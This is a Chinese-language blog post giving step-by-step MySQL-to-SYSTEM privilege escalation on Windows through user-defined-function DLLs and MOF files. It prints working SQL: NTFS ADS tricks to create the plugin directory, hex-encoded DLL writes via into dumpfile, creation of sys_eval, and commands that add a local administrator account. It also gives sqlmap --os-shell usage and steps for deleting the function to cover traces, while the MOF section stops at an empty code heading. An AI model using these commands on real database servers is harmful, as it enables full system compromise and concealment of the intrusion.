mysql udf mof escalate privilege

发布时间 2023-07-31 11:33:32作者: lisenMiller

原理

udf = ‘user defined function‘,即用户自定义函数。文件后缀为‘.dll’,常用c语言编写。通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。

思路

获取udf文件

上传udf到指定位置

sqlmap有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll

sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll

sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码, 不能直接使用

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下打开powershell,执行命令:

sqlmap中的udf文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

有了udf文件,利用各种办法将udf上传到网站指定目录下

mysql<5.0 导出路径随意;

5.0<mysql<5.1 导出至目标服务器的系统目录 c:/windows/system32中

5.1<mysql 必须将udf.dll 放在mysql安装目录下的lib\plugin文件夹下才能创建自定义函数

一般lib,plugin文件夹需要手工建立(利用ntfs的ads流模式创建文件夹),或者用weshell直接创建,没有的话就结合流模式+into dumpfile写入

1.查看mysql所在目录
select @@basedir;

2.利用ntfs ads创建lib目录
select 'it is dll' into dumpfile 'c:\\program files\\mysql\\mysql server 5.1\\lib::$index_allocation';

3.利用ntfs ads创建plugin目录
select 'it is dll' into dumpfile 'c:\\program files\\mysql\\mysql server 5.1\\plugin::$index_allocation';

在NTFS文件系统中,ADS(Alternate Data Streams,备用数据流)是一种特殊的文件属性,允许将额外的数据附加到文件中。这些额外的数据可以存储在文件的ADS中,而不会影响文件的主要内容。

"lib::$index_allocation"是一个ads流的名称。在这种情况下,它指的是名为"lib"的文件的"INDEX_ALLOCATION"备用数据流。它包含了文件的索引信息加快访问速度

从udf文件中引入自定义函数

create function sys_eval returns string soname 'udf.dll'; 

sys_eval是函数名称 udf.dll是lib_mysqludf_sys.dll上传后的文件名

执行自定义函数

新建账号waitalone ,密码为waitalone.cn

select sys_eval('net user waita xx /add');
select sys_eval('net localgroup administrators waitalone /add');

标题写入udf的犯法

tips:版本>5.6.34 secure_file_priv需要为空才可以通过mysql传udf

into outfile直接写入

1.将udf的内容变成16进制编码

2.数据库中执行

select 16进制编码 into outfile 'c:/program files/mysql/mysql server 5.5 /lib/plugin/udf.dl';

3.创建sys_eval

create function sys_eval returns string soname 'udf.dll';

4.获取system权限

select sys_eval('');

表内容导出写入

1.建立表保存16进制内容

set @my_udf=concat('',dll的16进制);

create table udf_data(data longblob);

2.将my_udf的内容插入到表udf_data中

insert into udf_data values(" ");

update udf_data set data=@my_udf;

3.将内容导出到文件

select data from udf_data into dumpfile 'c:/program files/mysql/mysql server 5.5/lib/plugin/udf.dll';

4.创建sys_eval成功执行系统命令

create function sys_eval returns string soname 'udf.dll';

select sys_eval('whoami');

sqlmap写入

1.sqlmap自带udf功能

sqlmap.py -d "mysql://root:root@xxxx:3306/mysql" --os-shell

2.清除痕迹

drop function cmdshell;删除函数

delete from mysql.func where name='cmdshell' 删除函数

mof提权

原理

mof 是windows系统的一个文件叫托管对象格式,作用是每隔5s就去监控进程的创建和死亡。mof提权的简单利用过程就是 拥有了mysql的root权限之后利用该权限执行上传操作,将我们重写的mof文件上传后,该文件中的一个vbs脚本便会执行,该脚本大多数是cmd的添加管理员用户的命令

why可以提权

提权的根本原因在于有更高权限的线程执行了命令。我们利用nullevt.mof文件的加载过程由system用户执行,因此我们可以把最高用户的权限提升到system

利用条件

window版本<2003

c:\windows\system3\wbemmof目录可写入

数据库允许外连,已知root权限账号密码

利用代码

 修改脚本